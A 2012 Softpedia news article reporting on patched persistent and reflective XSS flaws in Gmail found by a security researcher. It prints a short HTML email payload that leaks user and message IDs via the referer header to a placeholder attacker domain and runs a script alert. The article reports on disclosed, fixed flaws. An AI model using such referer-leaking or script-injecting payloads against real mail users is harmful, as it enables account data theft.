Softpedia
 

NEWS CATEGORIES:



NEWS ARCHIVE >>
SOFTPEDIA REVIEWS >>
MEET THE EDITORS >>
TRENDING TODAY
Home > News > Security > Security Fixes and Improvements

June 13th, 2012, 11:41 GMT · By

Google Addresses Persistent XSS Vulnerabilities in Gmail

SHARE:

Adjust text size:

Before Google applied a permanent fix, users were met with this message
Enlarge picture
Over the past few months, security researcher Nils Junemann has notified Google of the presence of serious persistent cross-site scripting (XSS) vulnerabilities that affected Gmail. The expert has revealed that all the security holes have been fixed.

In a blog post, Junemann detailed three different vulnerabilities that he had found in Gmail.

The first issue he describes refers to a persistent DOM XSSS flaw in Gmail’s mobile view. The weakness appeared when emails that contained a specific subject line were forwarded.

While the issue had been addressed in a relatively short amount of time, during the fixing process “something went wrong” as, for a few hours, all the forwarded messages contained a message saying “The body is already escaped.”

The second vulnerability reported by the expert was a common reflective DOM XSS in the mobile view.

A third issue he had found in Gmail turned out to be the more interesting.

Before completely patching the problem, Google’s Security Team blocked a particular GET parameter and displayed the following message for users: We're sorry ... but your computer or network may be sending automated queries. To protect our users, we can't process your request right now.

So, what did Junemann actually find?

He discovered that when Google displays a message directly, there are a couple of parameters in the URL that could be exploited by the attacker: ik (a static ID for that particular user) and th (the message ID).

According to the expert, an attacker could “force a 'HTTP/1.1 500 Internal Server Error' with some lines of the message” by using a specially crafted URL.

However, to create that special URL, the ik and th would have to be known, but the researcher has shown that the values can be easily obtained by relying on “referer leaking.”

By sending the victim an HTML email with some cleverly designed, yet simple, code, he was able to leak the values of ik and th to an arbitrary domain owned by the attacker.

Here’s what the HTML email looks like:
<img src="https://attackershost.com/1x1.gif">
<a rel="nofollow" rel="nofollow" href="https://attackershost.com/gmailxss">Click here to have fun</a>
<script>alert(/xss/)</script>


In the first line of code the 1x1.gif leaks the values to attackershost.com, while the second has the same effect once the victim clicks on the link.

The third line displays a simple alert to show that JavaScript can be executed in the context of Gmail.


2,131 hits · 1 comment
Link to this article · Print article · Send to friend

MUST-READ RELATED ARTICLES:


Student Notifies Queensland University of Technology of XSS Flaw

Researchers Find Critical XSS Vulnerability in Tumblr

Hacker Publishes XSS Flaws in US Army and Media Sites After Exploiting Them

Hacker Reports XSS Flaws to US Department of Energy, NASDAQ, NASA

Big Bang Theory Inspires Hacker to Find SQL Injection Flaw on ORNL Site

READER COMMENTS:


Comment #1 by: DUF on 14 Jun 2012, 13:55 UTC reply to this comment

I think Google needs to get a customer service telephone number - this problem is NOT getting fixed nor do they seem to care that its been 2 years (for me) that I cannot use there search engine and I have encourage people not to deal with companies that simply keep releasing shiney objects for chipmunks to consume while providing NO customer support for the old stuff they leave behind!

Copyright © 2001-2013 Softpedia. Contact/Tip us at

WindowsGamesDriversMacLinuxScriptsMobileHandheldNews

SUBMIT PROGRAM   |   ADVERTISE   |   GET HELP   |   SEND US FEEDBACK   |   RSS FEEDS   |   UPDATE YOUR SOFTWARE   |   ROMANIAN FORUM